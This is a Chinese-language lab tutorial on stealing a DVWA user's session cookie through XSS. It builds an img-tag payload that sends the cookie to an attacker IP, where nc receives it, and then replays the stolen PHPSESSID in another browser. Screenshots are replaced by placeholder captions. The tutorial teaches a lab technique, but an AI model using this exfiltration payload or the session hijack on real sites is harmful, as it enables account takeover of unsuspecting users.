使用XSS漏洞获取cookies

一、前期准备

火狐为受害者,已经登陆到DVWA

chrome为攻击者,没有登陆权限/可以登录,但权限不如火狐高

在火狐输入xss语句获取cookie,使用chrome登录其账号

二、构造xss语句

想要把cookie发送给攻击者,所以首先要想到使用get、post请求(下面是用get举例)

1.构造初步代码

攻击者ip为192.168.136.149:8023,而想要发送的内容是cookie,所以先构造出一个简单的url:192.168.136.149:8023/?cookie

2.发送get请求

发送get请求可使用的方法有:location重定向(访问当前页面的时候重定向到192.168.136.149:8023/?cookie这个页面)、img标签、script标签等

这里我们使用img标签

img标签传输原理:img标签传输分为两步,首先img src=”url“ 先向url发送一个get请求,之后把请求的内容当作图片展示在页面上

实际上我们只需要其第一步——向src后的url发送一个get请求

发送的代码

XssRequestWrapper获取url_数据

发送后无法识别图片(正常现象)

XssRequestWrapper获取url_html页面_02

接收端我们使用nc去监听,其中接收端与发送端(xss语句)的端口要一致【让要攻击代码把cookie发送到8023端口,接收也在8023】

XssRequestWrapper获取url_数据_03

监听成功,但只收到了cookie的字符不是真正的cookie

XssRequestWrapper获取url_get请求_04

说明发送端中的cookie只是数据不是指令

3.构造xss语句

<img src="http://192.168.136.149:8023/?cookie">中引号包括的部分为完整数据,所以不能直接使用document.cookie,需要进行区分

XssRequestWrapper获取url_get请求_05

使用单引号将数据包含起来,再将三个字符串用加号拼接(’a‘ + ‘b’ = ‘ab’ ,JavaScript中字符串相加),变成【数据+指令执行的结果+数据】的形式

XssRequestWrapper获取url_数据_06

因为document.cookie是个JavaScript指令,在html页面中必须要用<script>标签包裹起来才可以运行(和alert一样,必须要<script>alert(a);</script>才可以使用)

XssRequestWrapper获取url_html页面_07

接下来需要将内容写入html页面中,使用document.write

XssRequestWrapper获取url_get请求_08

总结:最外层的<script>标签是告诉浏览器,内部的东西要当作JavaScript脚本运行

document.wirte是将括号里的内容写到html页面当中去

在dvwa输入构造好的payload,再用nc监听

XssRequestWrapper获取url_数据_09

成功获取到火狐的cookie内容

XssRequestWrapper获取url_数据_10

三、使用cookie信息登录

使用chrome,f12打开控制面板->application->cookies->PHPSESSID

XssRequestWrapper获取url_get请求_11

双击PHPSESSID,将nc监听到的PHPSESSID粘贴替换即可,security也可一起更改

此时再去访问DVWA即可成功登录

XssRequestWrapper获取url_数据_12